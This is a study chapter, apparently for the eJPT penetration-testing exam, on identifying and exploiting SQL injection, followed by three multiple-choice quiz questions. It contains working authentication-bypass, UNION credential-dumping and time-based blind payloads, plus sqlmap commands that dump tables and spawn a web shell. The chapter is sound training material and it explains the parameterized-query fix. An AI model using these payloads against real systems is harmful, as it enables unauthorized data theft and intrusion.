9.2 SQL Injection (SQLi) Identification & Exploitation

Key Takeaways

  • SQL injection occurs when user input is concatenated directly into SQL queries rather than bound safely through parameterized queries or prepared statements.

  • Authentication bypass exploits alter query boolean logic with payloads like ' OR 1=1 -- -, causing the query to evaluate true regardless of password verification.

  • UNION-based SQL injection requires identifying the exact number of projected columns using ORDER BY n and matching compatible data types before extracting data from information_schema.

  • Blind SQL injection techniques rely on Boolean differential responses or time delays (SLEEP() / WAITFOR DELAY) when database output is not directly reflected in the web application view.

  • Sqlmap automates detection, database schema fingerprinting (--dbs, --tables, --columns), and data dumping (--dump), supporting raw HTTP request files (-r) for complex POST and header injection testing.

Last updated: October 2026

9.2 SQL Injection (SQLi) Identification & Exploitation

Structured Query Language (SQL) injection remains one of the most critical vulnerabilities affecting data-driven web applications. When an application accepts untrusted input and directly concatenates it into a dynamic database query string, an attacker can manipulate the query's syntactic structure. Through SQL injection, penetration testers can bypass authentication mechanisms, read arbitrary data from database tables, modify or delete database records, execute administrative operations, and in some configurations, obtain full operating system command shells on the underlying database host.

For the eJPT assessment, candidates must understand both manual discovery and exploitation techniques—such as column discovery and data harvesting with UNION operators—as well as automated testing workflows utilizing the industry-standard sqlmap framework.


Fundamental SQL Injection Mechanism

SQL injection stems from the failure to maintain strict separation between application code and user-supplied data within an interpreter. Consider a vulnerable backend script designed to authenticate users:

// Insecure dynamic query string concatenation
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '" . $username . "' AND password = '" . $password . "'";
$result = mysqli_query($conn, $query);

When a user submits legitimate credentials like admin and Secret123!, the database engine executes the query as intended:

SELECT * FROM users WHERE username = 'admin' AND password = 'Secret123!'

However, if the input string contains SQL metacharacters (such as single quotes '), the string literal is prematurely closed, allowing following characters to be interpreted as SQL commands, clauses, and operators.

Parameterization vs. Dynamic Concatenation

The robust, secure remedy for SQL injection is the implementation of parameterized queries (also known as prepared statements):

// Secure implementation utilizing prepared statements
$stmt = $pdo->prepare('SELECT id, role FROM users WHERE username = :user AND password = :pass');
$stmt->execute(['user' => $username, 'pass' => $passwordHash]);
$user = $stmt->fetch();

With prepared statements, the database engine compiles the SQL query structure first. User-supplied parameters are then bound strictly as literal data values. Even if a user enters ' OR '1'='1, the database treats the entire string as a literal username value rather than executable SQL syntax.


Identification & Probing Techniques

During web reconnaissance, penetration testers inspect every input parameter—including GET query strings, POST form bodies, HTTP cookie values, and custom headers—by injecting test characters that disrupt SQL syntax:

+---------------------------------------------------------------------------------------+
|                                SQLi PROBING WORKFLOW                                  |
+---------------------------------------------------------------------------------------+
| 1. Syntax Probing    --> Inject characters: ' " \ ) -- ;                              |
| 2. Error Inspection  --> Check for database syntax error exceptions (MySQL, MSSQL)    |
| 3. Boolean Testing   --> Compare responses: AND 1=1 (True) vs. AND 1=2 (False)        |
| 4. Timing Probing    --> Inject SLEEP(5) or WAITFOR DELAY '0:0:5' for silent backends |
+---------------------------------------------------------------------------------------+

1. Provoking Syntax Errors

Injecting a single quote ('), double quote ("), or backslash (\) often unbalances string delimiters in unparameterized queries, causing the database engine to generate an unhandled exception:

GET /products.php?category=books' HTTP/1.1
Host: target.local

If database error reporting is enabled on the server, the application returns verbose diagnostic messages that reveal the database management system (DBMS) brand and query structure:

  • MySQL / MariaDB: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''books''' at line 1
  • PostgreSQL: pg_query(): Query failed: ERROR: syntax error at or near "books'"
  • Microsoft SQL Server: Microsoft OLE DB Provider for SQL Server error '80040e14' Unclosed quotation mark after the character string 'books''
  • SQLite: SQLite3::SQLException: unrecognized token: "'"

2. Boolean Logic Verification

When error messages are suppressed, testers verify injection by injecting boolean conditional tests that evaluate to true or false:

  • Baseline: http://target/item.php?id=5 (Renders product page)
  • True Condition: http://target/item.php?id=5 AND 1=1 (Renders product page identically)
  • False Condition: http://target/item.php?id=5 AND 1=2 (Page renders empty, displays an item not found error, or omits data)

If the application behaves differently between the true and false conditions, an injectable SQL context is confirmed.


Authentication Bypass Exploitation

Authentication bypass is the most common direct exploitation of login forms vulnerable to SQL injection. By injecting boolean logic and comment indicators, an attacker forces the query to evaluate to true for the first row in the database table (typically the administrative account).

Deconstructing the Payload

If the backend executes:

SELECT * FROM users WHERE username = 'USER_INPUT' AND password = 'PASSWORD_INPUT'

Submitting the username:

admin' -- -

Transforms the database query into:

SELECT * FROM users WHERE username = 'admin' -- -' AND password = 'PASSWORD_INPUT'

The -- token tells the SQL engine to treat everything following it as a comment. The database evaluates WHERE username = 'admin', completely ignoring the password check. The trailing hyphen in -- - is added because SQL standards require a whitespace character immediately after a double dash; the hyphen ensures that trailing spaces are preserved by HTTP clients.

Alternatively, if the administrative username is unknown, submitting:

' OR 1=1 -- -

Yields:

SELECT * FROM users WHERE username = '' OR 1=1 -- -' AND password = '...'

Because 1=1 is always true, the database returns all user records. Most web application frameworks log in as the first record returned by the query, granting administrative access.


UNION-Based SQL Injection Methodology

The SQL UNION operator allows an attacker to append the results of an attacker-crafted query to the results returned by the original application query. This makes it possible to read arbitrary data from any table across the database.

Executing a UNION injection requires adhering to two strict relational database rules:

  1. Both queries must request the exact same number of columns.
  2. The data types of corresponding columns must be compatible (e.g., text must map to text, integers to integers).
+---------------------------------------------------------------------------------------+
|                            UNION SQLi EXPLOITATION PIPELINE                           |
+---------------------------------------------------------------------------------------+
| 1. Column Enumeration  --> ORDER BY 1, 2, 3, ... until an error occurs                |
| 2. Display Mapping     --> id=-1 UNION SELECT 1, 2, 3, 4 (nullify original query)     |
| 3. Environment Query   --> id=-1 UNION SELECT 1, version(), user(), database()        |
| 4. Schema Enumeration  --> Query information_schema.tables & information_schema.columns|
| 5. Data Extraction     --> SELECT username, password FROM users                       |
+---------------------------------------------------------------------------------------+

Step 1: Determining Column Count with ORDER BY

The ORDER BY clause sorts query output by column index. If you sort by a column index that does not exist in the query's SELECT statement, the database throws an error:

http://target/view.php?id=1 ORDER BY 1-- -   -- (Success - renders normally)
http://target/view.php?id=1 ORDER BY 2-- -   -- (Success - renders normally)
http://target/view.php?id=1 ORDER BY 3-- -   -- (Success - renders normally)
http://target/view.php?id=1 ORDER BY 4-- -   -- (Success - renders normally)
http://target/view.php?id=1 ORDER BY 5-- -   -- (Error: "Unknown column 5 in 'order clause'")

Because ORDER BY 4 succeeded and ORDER BY 5 failed, we know the query selects exactly 4 columns.

Step 2: Mapping Displayed Columns

Next, inject a UNION SELECT query specifying 4 dummy column values. To ensure the database displays the results of our injected query rather than the legitimate item, negate the original query by setting id=-1 or id=99999:

http://target/view.php?id=-1 UNION SELECT 1, 2, 3, 4-- -

Inspect the rendered web page. If the numbers 2 and 3 appear on the screen, those columns are reflected in the application's HTML output and accept string or numeric data.

Step 3: Extracting Database Metadata and Schemas

Once injectable display columns are identified, replace the reflected numbers with SQL functions and metadata queries:

MySQL / MariaDB Environment Enumeration

http://target/view.php?id=-1 UNION SELECT 1, version(), user(), database()-- -

Enumerating Table Names from information_schema

http://target/view.php?id=-1 UNION SELECT 1, table_name, 3, 4 FROM information_schema.tables WHERE table_schema=database()-- -

To concatenate all table names into a single reflected string:

http://target/view.php?id=-1 UNION SELECT 1, group_concat(table_name), 3, 4 FROM information_schema.tables WHERE table_schema=database()-- -

Enumerating Column Names

To discover columns inside the users table:

http://target/view.php?id=-1 UNION SELECT 1, group_concat(column_name), 3, 4 FROM information_schema.columns WHERE table_name='users'-- -

Dumping Credentials

http://target/view.php?id=-1 UNION SELECT 1, group_concat(username, 0x3a, password), 3, 4 FROM users-- -

(Here 0x3a is the hex encoding of the colon character :, outputting strings like admin:hash123,john:pass456).

Database SystemVersion FunctionCurrent User FunctionDatabase Name FunctionColumn Concatenation
MySQL / MariaDBversion()user()database()group_concat(col, 0x3a, col2)
Microsoft SQL Server@@versionuser_name() / suser_sname()db_name()string_agg(col, ':')
PostgreSQLversion()current_usercurrent_database()string_agg(col, ':')
SQLitesqlite_version()N/A (Embedded file)N/Agroup_concat(col)

Blind SQL Injection Concepts

When a web application executes dynamic SQL queries but never reflects query results or database error messages in the HTTP response, the vulnerability is classified as Blind SQL Injection.

Boolean-Based Blind SQLi

In boolean-based blind injection, the application yields subtle differential responses based on boolean truth conditions (e.g., displaying "User active" vs. "User not found").

An attacker reconstructs data character-by-character by asking binary questions using string slicing functions:

http://target/profile.php?id=1 AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'

If the condition is true, the profile renders. If false, the profile fails to render. By testing character ranges (or employing binary search algorithms), the full password hash can be extracted.

Time-Based Blind SQLi

If the application returns completely identical responses regardless of boolean conditions, the attacker can force the database management system to pause execution for a designated number of seconds using time-delay functions:

-- MySQL: Sleep for 5 seconds if the first character of the password is 'a'
http://target/view.php?id=1 AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a', SLEEP(5), 0)-- -

-- Microsoft SQL Server: Delay execution by 5 seconds
http://target/view.php?id=1; IF (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' WAITFOR DELAY '0:0:5'--

If the HTTP response takes 5 seconds to arrive, the condition is true. If it returns immediately, the condition is false.


Automated SQL Injection with Sqlmap

Sqlmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities and taking over database servers.

Essential Command Syntax

# Basic scan against a GET parameter
sqlmap -u "http://192.168.1.105/view.php?id=1" --batch

# Scanning from an intercepted Burp Suite request file
sqlmap -r request.txt -p username --batch

Using -r request.txt is the standard approach for testing complex POST forms, authenticated sessions, and custom HTTP headers. In Burp Suite, right-click the HTTP request, choose Copy to file, and pass that file directly to sqlmap.

Systematic Database Enumeration Workflow

# 1. Enumerate available databases
sqlmap -u "http://192.168.1.105/view.php?id=1" --dbs --batch

# 2. Enumerate tables within a specific database (e.g., target_db)
sqlmap -u "http://192.168.1.105/view.php?id=1" -D target_db --tables --batch

# 3. Enumerate columns within a sensitive table (e.g., accounts)
sqlmap -u "http://192.168.1.105/view.php?id=1" -D target_db -T accounts --columns --batch

# 4. Dump data records from specified columns
sqlmap -u "http://192.168.1.105/view.php?id=1" -D target_db -T accounts -C username,password --dump --batch
Option / FlagDescription & Tactical Purpose
-u <URL>Specifies the target URL to test.
-r <file>Loads an HTTP request from a text file, parsing headers, cookies, and POST bodies.
-p <parameter>Forces sqlmap to test only the specified parameter, accelerating scan completion.
--batchRuns non-interactively, accepting default answers to all confirmation prompts.
--dbsEnumerates all databases accessible to the current database user account.
-D <dbname>Specifies the database name to target for subsequent table queries.
--tablesEnumerates tables within the specified database (-D).
-T <tablename>Specifies the table name to target for subsequent column or dump queries.
--columnsEnumerates columns inside the specified table (-T).
-C <col1,col2>Specifies the column names to dump.
--dumpDumps the contents of the specified database table or columns to disk.
--os-shellAttempts to spawn an interactive operating system shell (requires database write permissions).
--level / --riskAdjusts test depth (1–5). Level 2+ tests HTTP Cookie headers; Level 3+ tests User-Agent/Referer.

Spawning an Operating System Shell (--os-shell)

When the database user has administrative privileges (such as MySQL root with FILE privilege or MSSQL sa with xp_cmdshell enabled) and the absolute web server root path is known or discoverable, sqlmap can upload a backdoor stager to execute operating system commands:

sqlmap -u "http://192.168.1.105/view.php?id=1" --os-shell

Sqlmap uploads a small file-stager to write a dynamic language web shell (PHP, ASPX, or JSP) to the web root, providing an interactive command prompt directly in your terminal.

Test Your Knowledge

During manual testing of a GET parameter (view.php?id=1), a penetration tester injects ' ORDER BY 1-- -', ' ORDER BY 2-- -', and ' ORDER BY 3-- -', all of which render the page without errors. However, injecting ' ORDER BY 4-- -' produces a database error stating 'Unknown column 4 in order clause'. What does this specific finding prove?

A

The database backend is Microsoft SQL Server version 4

B

The web application enforces an input length filter of exactly 4 characters

C

The target database table contains 4 records

D

The original query selects exactly 3 columns in its SELECT statement

Test Your Knowledge

A penetration tester intercepts an authenticated HTTP POST request to /admin/search.php in Burp Suite. The request contains session cookies, custom CSRF headers, and a JSON payload in the request body. What is the most efficient method to scan the 'search_term' parameter using sqlmap without manual header configuration?

A

Convert the POST request into a GET query string and pass it with sqlmap -u

B

Save the raw intercepted request from Burp Suite to a text file and use sqlmap -r request.txt -p search_term --batch

C

Run sqlmap with the --cookie flag and manually append all 15 request headers using --headers

D

Use sqlmap --crawl=3 to let the tool find the administrative search page automatically

Test Your Knowledge

Which of the following payloads is designed to bypass authentication in a vulnerable SQL query constructed as: SELECT * FROM accounts WHERE username = '$user' AND password = '$password'?

A

admin' AND 1=2 -- -

B

UNION SELECT 1, 2, 3-- -

C

admin' -- -

D

' AND SLEEP(5)-- -

Sections you finish are checked off in the contents.